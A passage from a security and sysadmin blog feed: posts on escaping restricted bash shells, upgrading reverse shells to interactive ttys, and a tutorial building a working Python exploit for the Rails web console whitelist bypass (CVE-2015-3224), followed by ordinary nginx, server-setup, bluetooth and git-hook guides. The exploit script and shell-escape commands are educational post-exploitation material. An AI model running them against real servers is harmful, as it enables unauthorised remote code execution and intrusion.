/usr/local/sbin:/sbin:/usr/sbin:/usr/bin:/bin:/usr/local/games:/usr/games
</code></pre>
<p><code>/bin</code> in PATH so you can execute bash directly.</p>
<pre><code class="language-bash">$ bash -i
</code></pre>
<h3 id="2usingprogramminglanguagetospawnshell">2. Using programming language to spawn shell</h3>
<p>Most of the time, I use Python (or python3). This also gives you tty support. In case Python is not installed, you can try other programming language to spawn a shell.</p>
<ol>
<li>Use Python to spawn a shell.</li>
</ol>
<pre><code class="language-bash">$ python -c &quot;import pty;pty.spawn(&apos;/bin/bash&apos;)&quot;
</code></pre>
<ol start="2">
<li>Using Perl to spawn a shell.</li>
</ol>
<pre><code class="language-bash">$ perl -e &apos;exec &quot;/bin/bash&quot;;&apos;
</code></pre>
<ol start="3">
<li>Using Ruby to spawn a shell.</li>
</ol>
<pre><code class="language-bash">$ ruby -e &apos;exec &quot;/bin/bash&quot;;&apos;
</code></pre>
<ol start="4">
<li>Using PHP to spawn a shell.</li>
</ol>
<pre><code class="language-bash">$ php -r &quot;system(&apos;/bin/bash&apos;);&quot;
</code></pre>
<h3 id="3invokeshellsthroughgtfobins">3. Invoke shells through gtfo bins.</h3>
<p>This is very useful sources. Since the page is very well written and easy to understand and navigate, I attach the link here for our reference. It can be used to break out from restricted environments by spawning an interactive system shell from some commands. Be sure to check it out! <a href="https://gtfobins.github.io/#+shell">https://gtfobins.github.io/#+shell</a></p>
<h3 id="4ifyouhavethecredentialsready">4. If you have the credentials ready</h3>
<p>Sometimes when performing post exploitation, you already have the credentials of the particular user but switching to that user, resulting you getting jailed in their restricted environment. This could be bypassed by calling <code>bash</code> before you login(switch) to that user.</p>
<pre><code class="language-bash">www-data@host$ su user -c &quot;/bin/bash -i&quot;
</code></pre>
<p>You can check your curent shell using the following command:</p>
<pre><code class="language-bash">$ echo $0
</code></pre>
<p>If the above method successful, remember to export the proper $SHELL, $PATH env variables.</p>
<h2 id="takingitfurther">Taking it further!</h2>
<p>After successfully breakout the restricted shells, you can now performing bash command redirection, output piping and even <code>cd</code> to different directories (with forward slashes).</p>
<pre><code class="language-bash">$ echo &quot;breakout rbash\!&quot; &gt; /tmp/test
$ ls -l /tmp/test
  -rw-r--r-- 1 ctf ctf 16 Apr  8 00:47 /tmp/test
$ cd /tmp
$ cat test
  breakout rbash!
</code></pre>
<p>In case you cannot using tab auto-completion, job controls, or using arrow keys to navigate through commands, you might want to upgrade your shell to fully interactive shell. Check out <a href="/upgrade-shell-to-fully-interactive-tty-shell/">this</a> guide I made on how you can upgrade dumb terminal to fully interactive tty shell.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Upgrade shell to fully interactive tty]]></title><description><![CDATA[A quick guide on how you can upgrade dumb terminal after getting a reverse (or bind) shells on target to fully interactive tty using the following tricks.]]></description><link>https://www.metahackers.pro/upgrade-shell-to-fully-interactive-tty-shell/</link><guid isPermaLink="false">5c7d43ebff815906b8c8d486</guid><category><![CDATA[post-exploit]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Fri, 05 Apr 2019 08:20:56 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1502248103506-76afc15f5c45?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://images.unsplash.com/photo-1502248103506-76afc15f5c45?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Upgrade shell to fully interactive tty"><p>Often when we get a shell by exploiting vulnerabilities, the shell that we getting is a dumb terminal or not and interactive shell. This means that you cannot <code>ctrl+c</code> when accidently run command such as <code>ping</code> where you need to terminate the process. If you do <code>ctrl+c</code> this not only kills the <code>ping</code> process, but also your shell. &#xAF;\_(&#x30C4;)_/&#xAF;</p>
<p>To overcome this, I made a guide here where you can follow to convert your non-interactive shell to fully interactive shell.</p>
<h2 id="step1">Step 1</h2>
<p>Get victim shell connection from your exploit either reverse or bind shell.</p>
<h2 id="step2">Step 2</h2>
<p>On victim shell, upgrade the shell to tty shell. The most common is you can use python to spawn tty shell by using the pty built-in library. Make sure to spawn <code>/bin/bash</code> not <code>/bin/sh</code>. Read more <a href>here</a> to see other methods of upgrading shell to tty shell.</p>
<pre><code class="language-bash">$ python -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
</code></pre>
<h2 id="step3">Step 3</h2>
<p>Export some vars to the victim shell session. The best is to check your local terminal <code>$TERM</code> vars so that it same on the target terminal session.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost" data-output="2"><code>echo $TERM
xterm-256color</code></pre>
<p>Export that value on the target shell session.</p>
<pre class="command-line language-bash" data-user="www-data" data-host="targethost"><code>export TERM=xterm-256color
export SHELL=/bin/bash</code></pre>
<h2 id="step4">Step 4</h2>
<p>On your local terminal, check for terminal rows and columns.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost" data-output="2"><code>stty size
24 103</code></pre>
<p>what you need to take note here is the current terminal rows and columns which is for me rows 24 and columns 103. You might be different.</p>
<p>On the victim shell, fork the shell to background by pressing <code>ctrl+z</code> and you&apos;ll bring back to your local terminal.</p>
<pre class="command-line language-bash" data-user="www-data" data-host="targethost" data-output="2"><code>^Z
[1]+  Stopped        nc -lvp 9091</code></pre>
<p>Execute the following command to set the terminal to echo the input characters so that it catch by the victim terminal session. Follow with the command <code>fg</code> to bring back the victim shell to foreground.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost"><code>stty raw -echo;fg</code></pre>
<p>After that, your cursor might be somewhere on the middle of the terminal, type <code>reset</code> to reset the victim terminal session.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost" data-output="2-3"><code>stty raw -echo;fg
nc -lvp 9091
                reset</code></pre>
<p>Your victim terminal is now interactive, but it is not done yet. You need to specify the &quot;new&quot; terminal with rows and columns to make it display properly.</p>
<pre class="command-line language-bash" data-user="www-data" data-host="targethost"><code>stty rows 24 columns 103</code></pre>
<p>Now you&apos;re happy with the fully interactive shell on victim.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Exploiting CVE-2015-3224 | Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution]]></title><description><![CDATA[This post helps you better understanding on the vulnerability and ways to exploit by guiding you to write your own exploit python script and how to use pre loaded Metasploit exploit.]]></description><link>https://www.metahackers.pro/rails-web-console-v2-whitelist-bypass-code-exec/</link><guid isPermaLink="false">5bc4cba3492077013460c8d4</guid><category><![CDATA[exploit]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Mon, 15 Oct 2018 21:12:57 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/10/4d37cba4b899cf80-1.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="/content/images/2018/10/4d37cba4b899cf80-1.jpg" alt="Exploiting CVE-2015-3224 | Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution"><p>This post is to get you understanding on the vulnerability and ways to exploit.</p>
<h2 id="about">About</h2>
<p>This exploits are in the wild and affecting all Ruby on Rails web application version 4.0.x and 4.1.x where the web console is enable which is default to development and test environment.</p>
<h2 id="vulnerability">Vulnerability</h2>
<p>The vulnerability relies on IP whitelist in the developer web console so that only allowed IP can view the web console.</p>
<h2 id="exploit">Exploit</h2>
<p>The exploit is to craft remote request to spoof their origin and bypassing the IP whitelist to use the web console. This cause in Remote Code Execution (RCE) to target web application. This exploit is also affect code execution on Rails 4.2.x if the attack is launched from whitelisted IP range. If the whitelisted IP is localhost, you might need to use local proxy to exploit this application.</p>
<h2 id="techniques">Techniques</h2>
<p>The example here is written in Python. When dealing with web, I like to use python <a href="http://docs.python-requests.org/en/master/user/quickstart/">requests</a> library since it is very easy to use. The first part is to get 404 on the Rails application. This can easily be done by appending any non-existing page in the url.</p>
<pre><code class="language-python">#!/usr/bin/python3
import requests

url = &apos;http://victim.com/&apos;
response = requests.get(url + &apos;non-existing-page&apos;)
print response.status_code # should be 404
</code></pre>
<p>If viewing on web, you should see Rails debug information if the application is in development mode. Moving on!</p>
<p>Next important part is to spoof the origin with <code>X-Forwarded-For</code> header.</p>
<blockquote>
<p>The X-Forwarded-For HTTP header field is a common method for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or load balancer.<br>
Source: <a href="https://en.wikipedia.org/wiki/X-Forwarded-For">Wikipedia</a></p>
</blockquote>
<p>By setting the X-Forwarded-For header to localhost, this will spoof the server origin whitelist IP (which is allowed in localhost) and allowing us to view and use the web console.</p>
<pre><code class="language-python">...
header = {
    &apos;X-Forwarded-For&apos; : &apos;::1&apos;
}
response = requests.get(url + &apos;non-existing-page&apos;, headers=header)
...
</code></pre>
<p>After spoofing the origin, the console should be seen. You can type arbitary command between the <strong>backticks</strong> enclosure to run shell commands. To do this in python, you need to grab the remote console session path first. This can easily be done using python regex library.</p>
<pre><code class="language-python">#!/usr/bin/python3
import requests
import re

url = &apos;http://victim.com/&apos;
header = {
    &apos;X-Forwarded-For&apos; : &apos;::1&apos;
}
response = requests.get(url + &apos;non-existing-page&apos;, headers=header)
console_remote_path = re.findall(&quot;data-remote-path=&apos;(.*)&apos;&quot;, response.text)[0]
print console_remote_path
</code></pre>
<p>After getting the <code>console_remote_path</code> you can interact with the web console by using <code>PUT</code> request method inside <code>while</code> loop. You should now have a working python exploit script. Cheers!</p>
<pre><code class="language-python">...
url = url + console_remote_path
while True:
	header = {
        &apos;X-Forwarded-For&apos;: &apos;::1&apos;,
        &apos;Accept&apos;: &apos;application/vnd.web-console.v2&apos;,
        &apos;X-Requested-With&apos;: &apos;XMLHttpRequest&apos;
	}
    
	cmd = raw_input(&apos;cmd&gt; &apos;)
	if cmd == &apos;exit&apos; or cmd == &apos;quit&apos;:
		break
	elif cmd == &apos; &apos;:
		continue

	cmd = &apos;`&apos; + cmd + &apos;`&apos; # Important! running shell command should be enclosed between backticks
	data = {&apos;input&apos;: cmd}
    
	response = requests.put(url, data=data, headers=header)
	
    # beautify output
	content = response.text.split(&apos;\\n&apos;)[0:-2]
        for line in content:
            line = line.strip(&apos;\\&apos;)
            line = line.split(&apos;&quot;&apos;, -1)[-1]
	print(line)

</code></pre>
<p>For further exploitation on getting a reverse shell, you should visit my other blog post specifically on reverse shell.</p>
<h2 id="exploitingusingmetasploit">Exploiting using Metasploit</h2>
<p>Using Metasploit has other advantages of managing between sessions and running modules for further exploitation.</p>
<p>To exploit this vulnerability using Metasploit, you can use <code>exploit/multi/http/rails_web_console_v2_code_exec</code>. Set <code>RHOST</code> and <code>RPORT</code> to match your victim Rails web service. Finally run <code>exploit</code> to start exploiting the target. Note that when using Metasploit, RHOST must be an IP address not a hostname.</p>
<hr>
<p>This vulnerability was reported by both joernchen of Phenoelit and Ben Murphy.</p>
<p>Reference:<br>
URL: <a href="https://www.cvedetails.com/cve/cve-2015-3224">https://www.cvedetails.com/cve/cve-2015-3224</a><br>
URL: <a href="http://openwall.com/lists/oss-security/2015/06/16/18">http://openwall.com/lists/oss-security/2015/06/16/18</a><br>
URL: <a href="https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ">https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ</a><br>
URL: <a href="https://hackerone.com/reports/44513">https://hackerone.com/reports/44513</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Use Nginx Mainline repo packages]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Some distribution like Ubuntu use stable release from Nginx. Sometimes, if you use the default OS repositories, you cannot get the latest version from nginx. This is because Nginx has two main active branch of package release which are Mainline and Stable release. There is also another branch release which</p>]]></description><link>https://www.metahackers.pro/nginx-mainline-repo-packages/</link><guid isPermaLink="false">5ac5d31750ce4a066b14818a</guid><category><![CDATA[Nginx]]></category><category><![CDATA[Sysadmin]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Sat, 19 May 2018 04:23:00 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/05/ac601c356f854ca6.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="/content/images/2018/05/ac601c356f854ca6.jpg" alt="Use Nginx Mainline repo packages"><p>Some distribution like Ubuntu use stable release from Nginx. Sometimes, if you use the default OS repositories, you cannot get the latest version from nginx. This is because Nginx has two main active branch of package release which are Mainline and Stable release. There is also another branch release which is Legacy nginx package.</p>
<p>Depends on the operating system, some forks on stable nginx package which minimize the potential bugs and some use bleeding edge that use the mainline nginx package to get the most out from nginx.</p>
<h2 id="mainlinevsstablerelease">Mainline vs Stable release</h2>
<p>In stable release, Nginx commits only major bug fixes and stable features correspond to that version. If new version coming out, it will come with the new stable features from the previous Mainline release.</p>
<p>While the mainline release is an active branch which commits many new features, major updates and bug fixes.</p>
<h3 id="versionnumbering">Version numbering</h3>
<p>You can check if you&apos;re using mainline or stable release by issuing the following command:</p>
<pre><code class="language-bash">$ nginx -v
nginx version: nginx/1.13.12
</code></pre>
<ul>
<li>The even&#x2011;numbered version (1.12) is using Nginx stable branch. This branch is updated only when critical issues or security vulnerabilities need to be fixed.</li>
<li>The odd&#x2011;numbered version (1.13) is the mainline branch. This branch is actively developed; new minor releases (1.13.1, 1.13.2, etc.) are made approximately every 4 to 6 weeks, regularly introducing new features and enhancements.</li>
</ul>
<p>As describe in Nginx <a href="https://www.nginx.com/blog/nginx-1-12-1-13-released/">blog</a>:</p>
<blockquote>
<p>We generally recommend using the mainline branch. This is where we commit all new features, performance improvements, and enhancements</p>
</blockquote>
<h2 id="howtogetnginxfromthemainlinerelease">How to get Nginx from the Mainline release</h2>
<p>For this example, I&apos;m using Ubuntu 16.04.</p>
<ol>
<li>Download <a href="https://nginx.org/keys/nginx_signing.key">nginx_signing.key</a>. This key is used by the <code>apt</code> program to sign the nginx package and authenticate to the nginx server repository. It is a must to prevent any warnings and errors during package installation.</li>
</ol>
<pre><code class="language-bash">$ wget https://nginx.org/keys/nginx_signing.key
$ sudo apt-key add nginx_signing.key
</code></pre>
<ol start="2">
<li>Get your Ubuntu codename. If you&apos;re using 16.04 your codename is xenial. Else, you can check that by using the command below.</li>
</ol>
<pre><code class="language-bash">$ . /etc/os-release 
$ echo $VERSION | awk -F &quot; &quot; &apos;{ print tolower(substr($3,2)) }&apos;
</code></pre>
<ol start="3">
<li>Edit <code>/etc/apt/sources.list</code> as <code>sudo</code> and add the following at the bottom of the file. Replace the <code>codename</code> with your codename you get from above command. You can uncomment the <code>deb-src</code> if you want to access the sources package.</li>
</ol>
<pre><code class="language-bash">deb http://nginx.org/packages/mainline/ubuntu/ codename nginx
# For source package access, uncomment the following line
#deb-src http://nginx.org/packages/mainline/ubuntu/ codename nginx
</code></pre>
<ol start="4">
<li>Update your package and install Nginx. Note: If you already has nginx installed, you need first to uninstall current nginx package before downloading (installing) the new one. The current package will not get automatically updated to the newer package found in nginx repository.</li>
</ol>
<pre><code class="language-bash">$ sudo apt update
$ sudo apt install nginx
</code></pre>
<p>Read more references here:<br>
<a href="https://www.nginx.com/blog/nginx-1-12-1-13-released/">https://www.nginx.com/blog/nginx-1-12-1-13-released/</a><br>
<a href="https://nginx.org/en/linux_packages.html">https://nginx.org/en/linux_packages.html</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Initial Server Setup Guide]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Whenever you have a remote server, there are a few configuration steps that you should take early on as part of the basic setup. This will increase the security and usability of your server and will give you a solid foundation for subsequent actions. You should do (at-least) listed things</p>]]></description><link>https://www.metahackers.pro/server-initial-setup/</link><guid isPermaLink="false">5aba999142c8341e161fac76</guid><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Tue, 15 May 2018 15:10:00 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/05/12520e84f3112b17.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="/content/images/2018/05/12520e84f3112b17.jpg" alt="Initial Server Setup Guide"><p>Whenever you have a remote server, there are a few configuration steps that you should take early on as part of the basic setup. This will increase the security and usability of your server and will give you a solid foundation for subsequent actions. You should do (at-least) listed things here to get ready for any application you install.</p>
<h2 id="updateyourserver">Update your server</h2>
<p>This should be done on daily basis. Updating computer is very important as it push security updates, newer version of software on your server. <code>apt</code> operation must be run as root or sudo.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="root" data-host="remotehost"><code>apt update &amp;&amp; apt upgrade -y &amp;&amp; apt dist-upgrade -y</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>This may takes some time. You can have a cup of coffee and let it run the update.</p>
<h2 id="creatingnewuser">Creating new user</h2>
<p>Create your new user by issuing the command below:</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-host="remotehost" data-user="root"><code>adduser userN4me --force-badname</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>You can add your &apos;username&apos; in form of &apos;l337sp34k&apos; with the option <code>--force-badname</code></p>
<h2 id="sudoprivileges">Sudo Privileges</h2>
<p>Give your new user <code>sudo</code> privileges!</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-host="remotehost" data-user="root"><code>usermod -a -G sudo userN4me</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p><code>-a</code> : Will append the user with a new group <code>sudo</code><br>
<code>-G group</code> : Add the user to group <code>sudo</code><br>
Change to new user:</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-host="remotehost" data-user="root"><code>su userN4me</code></pre><br><!--kg-card-end: html--><!--kg-card-begin: markdown--><h2 id="publickeyauthentication">Public key authentication</h2>
<p>Make <code>ssh</code> directory in new user account.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-host="remotehost" data-user="userN4me"><code>mkdir ~/.ssh
chmod 700 ~/.ssh</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>Generate <code>ssh-keygen</code> in local computer if you don&apos;t have ssh keys.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="localuser"><code>ssh-keygen</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>Assume your local PC username is <mark>localuser</mark></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><pre><code>ssh-keygen output
Generating public/private rsa key pair.
Enter file in which to save the key (/home/localuser/.ssh/id_rsa):
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Press enter to accept the default path (or enter your new path).</p>
<p>Next you&apos;ll be prompted to enter a key-passphrase leave it empty. Or if you put a passphrase, you&apos;ll be prompted everytime you want to connect ssh.</p>
<p>Note: If you leave the passphrase blank, you will be able to use the private key for authentication without entering a passphrase. If you enter a passphrase, you will need both the private key and the passphrase to log in. Securing your keys with passphrases is more secure, but both methods have their uses and are more secure than basic password authentication.</p>
<p>This will generate <code>id_rsa</code> and <code>id_rsa.pub</code> in <code>~/.ssh</code> directory. You will need to copy <code>id_rsa.pub</code> to remote server in <code>~/.ssh/authorized_keys</code></p>
<p>Go copy the key somewhere:</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="language-bash command-line" data-user="localuser"><code>cat ~/.ssh/id_rsa.pub</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>In your remote server, make sure you&apos;re in the new user account. Paste the key inside <code>~/.ssh/authorized_keys</code>.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="userN4me" data-host="remotehost"><code>nano ~/.ssh/authorized_keys</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>Restart ssh service</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="userN4me" data-host="remotehost"><code>sudo service sshd restart</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>This is your first time entering &apos;sudo&apos; command for the new user. It will prompt you to use &apos;sudo&apos; wisely.</p>
<h2 id="disablesshpasswordauthentication">Disable SSH password authentication</h2>
<p>This will disable password authentication when ssh-ing to your remote server. This will use public key that we generate above. This method is more secure.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="userN4me" data-host="remotehost"><code>sudo nano /etc/sshd/sshd_config</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>Uncomment below and set to &apos;no&apos;:</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><pre><code class="language-bash"># Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Find somewhere below:</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><pre><code class="language-bash">PermitRootLogin no

RSAAuthentication yes
PubkeyAuthentication yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to no to disable tunnelled clear text passwords
PasswordAuthentication no
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Permit root login to no to make sure root user cannot login through ssh. Enable public key authentication to yes so that you can login to ssh passwordless and using the key that we set up earlier.</p>
<h2 id="setupfirewall">Set up firewall</h2>
<p>I suggest to use &apos;ufw&apos; as firewall. It is easy compare to iptables. However, you can still use the iptables command without conflict with ufw. But again, I suggest you to use ufw. What ever iptables commands you ufw can do. Ufw is a simpler form of iptables.</p>
<p>Install ufw firewall.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="userN4me" data-host="remotehost"><code>sudo apt install ufw</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>Enable ufw firewall on system startup.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="userN4me" data-host="remotehost" data-output="2-3"><code>sudo ufw enable
Command may disrupt existing ssh connections. Proceed with operation (y|n)? y
Firewall is active and enabled on system startup</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>Allow ssh in ufw. View available applications:</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="userN4me" data-host="remotehost" data-output="2-4"><code>sudo ufw app list
Available applications:
    OpenSSH
  
sudo ufw allow OpenSSH</code></pre><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>Reload firewall.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="userN4me" data-host="remotehost"><code>sudo ufw reload</code></pre><br><!--kg-card-end: html--><!--kg-card-begin: markdown--><h2 id="setdateandtimezone">Set date and timezone</h2>
<p>Select your timezone. This will automatically update your server date and time based on choosen timezone.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><pre class="command-line language-bash" data-user="userN4me" data-host="remotehost" data-output="1,3,6">
<code># view your current date
date
Wed April 2 19:20:19 +08 2018
sudo dpkg-reconfigure tzdata
date
Thu May  3 06:00:19 +08 2018</code></pre><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Connect Bluetooth peripherals from terminal]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Before start, make sure your device has a bluetooth interface or else get a cheap USB bluetooth dongle.</p>
<p>Install bluetooth from <code>apt</code>.</p>
<pre><code class="language-bash">$ sudo apt install bluetooth
</code></pre>
<p>This will install bluetoothctl and bluetoothd.<br>
Start the bluetooth service.</p>
<pre><code class="language-bash">$ sudo service bluetooth start
</code></pre>
<pre><code class="language-bash">$ sudo bluetoothctl
[bluetooth] agent on
[bluetooth] default-agent
[bluetooth] scan on</code></pre>]]></description><link>https://www.metahackers.pro/connect-bluetooth-from-terminal/</link><guid isPermaLink="false">5ae1c73bae80f5067802d433</guid><category><![CDATA[raspberry-pi]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Wed, 09 May 2018 15:08:00 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/05/888f0bccb0d344cb.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="/content/images/2018/05/888f0bccb0d344cb.jpg" alt="Connect Bluetooth peripherals from terminal"><p>Before start, make sure your device has a bluetooth interface or else get a cheap USB bluetooth dongle.</p>
<p>Install bluetooth from <code>apt</code>.</p>
<pre><code class="language-bash">$ sudo apt install bluetooth
</code></pre>
<p>This will install bluetoothctl and bluetoothd.<br>
Start the bluetooth service.</p>
<pre><code class="language-bash">$ sudo service bluetooth start
</code></pre>
<pre><code class="language-bash">$ sudo bluetoothctl
[bluetooth] agent on
[bluetooth] default-agent
[bluetooth] scan on
[bluetooth] devices
[bluetooth] pair &lt;bluetooth_mac_address&gt;
</code></pre>
<p>If you&apos;re pairing a bluetooth keyboard, it will show a key to pair the keyboard. Type that key using the bluetooth keyboard and press enter key to get paired. Finally, enter command <code>connect</code> to establish the connection with the bluetooth device.</p>
<pre><code class="language-bash">[bluetooth] connect &lt;bluetooth_mac_address&gt;
</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Automate Git deployment to remote server - Web hooks]]></title><description><![CDATA[This post shows you how you can deploy a project to VPS using git web hooks. Specifically using git web hook to automate Ghost theme deployment to server.]]></description><link>https://www.metahackers.pro/automate-git-deployment-git-webhooks/</link><guid isPermaLink="false">5aba999142c8341e161fac5d</guid><category><![CDATA[Sysadmin]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Mon, 07 May 2018 14:13:00 GMT</pubDate><media:content url="https://www.metahackers.pro/content/images/2018/05/095c3a293e594c7c.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="/content/images/2018/05/095c3a293e594c7c.jpg" alt="Automate Git deployment to remote server - Web hooks"><p>Hello, today in this post I will show you how I deploy Git project to the production (or development) server, and push changes to them automatically through git web hook wherever I made changes through the repo. I use this method to see live changes to the project server.</p>
<p>To be precise, I made this Ghost theme locally and when everything is okay, I push to the server and see live changes. So that I don&apos;t need to re-upload theme whenever changes I made. If you&apos;re in similar goal to archive, you can follow the tutorial below, or else, you can alter it based on your needs.</p>
<h2 id="requirement">Requirement</h2>
<p>In order to follow this tutorial, you need a remote server available and Ghost installation ready. Make sure you install Ghost through Ghost-CLI, as it much easier to install, to troubleshoot and much more.</p>
<ol>
<li>VPS <a href="https://m.do.co/c/2fc7bbf49de2">DigitalOcean referral link</a>.</li>
<li>Ghost CMS install (follow <a href="https://docs.ghost.org/docs/ghost-cli">installation</a> instruction)</li>
</ol>
<ul>
<li>Note: My referral link grants you 50$ credits on sign up to try on and can be use up to 30 days. There is no loss or risks whatsoever.</li>
</ul>
<h2 id="inremoteserver">In remote server</h2>
<p>Login to your remote server (not root).<br>
2. Create:</p>
<pre class="language-bash command-line" data-host="remotehost"><code>mkdir ~/deployment-folder.git
cd ~/deployment-folder.git
git init --bare
nano hooks/post-receive
chmod +x hooks/post-receive</code></pre>
<p>Add the following in <code>~/deployment-folder.git/hooks/post-receive</code></p>
<pre><code class="language-bash">#!/bin/bash
TARGET=&quot;/var/www/ghost/content/themes/mythemes&quot; # deploy-folder
GIT_DIR=&quot;/home/user/deployment-folder.git&quot;
BRANCH=&quot;master&quot;

while read oldrev newrev ref
do
        # only checking out the master (or whatever branch you would like to deploy)
        if [[ $ref = refs/heads/$BRANCH ]];
        then
                echo &quot;[+] Ref $ref received. Deploying ${BRANCH} branch to production...&quot;
                sudo git --work-tree=$TARGET --git-dir=$GIT_DIR checkout -f
		echo &quot;[+] Initializing folder ..&quot;
		sudo chown -R ghost:ghost $TARGET
		sudo chmod 755 $TARGET
		echo &quot;[+] Restarting ghost service&quot;
		cd /var/www/ghost ; ghost restart
        else
                echo &quot;[-] Ref $ref received. Doing nothing: only the ${BRANCH} branch may be deployed on this server.&quot;
        fi
done

</code></pre>
<h2 id="inlocalmachine">In local machine</h2>
<ol>
<li>In your repository:<br>
Change directory to git project folder:</li>
</ol>
<pre class="language-bash command-line"><code>cd mythemes</code></pre>
<p>To set a new remote. In this case remote called as &apos;production&apos; you can change to whatever you want.</p>
<pre class="language-bash command-line"><code>git remote add production user@myserver:/home/user/deployment-folder.git
git checkout master
git push origin master # push to github
git push production master # push to server</code></pre>
<p>To view (verify) remote:</p>
<pre class="language-bash command-line"><code>git remote -v</code></pre>
<p>On push to remote production, everything will automate and make changes to Ghost theme on web server.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Symmetric file encryption and decryption using GnuPG]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Note: You might want to consider using OpenSSL for file encryption instead. Please see this post.</p>
<p>In this post we will see how to use GnuPG to make a simple symmetric encryption and decryption. This method applies to encrypt a file so that it is unreadable.</p>
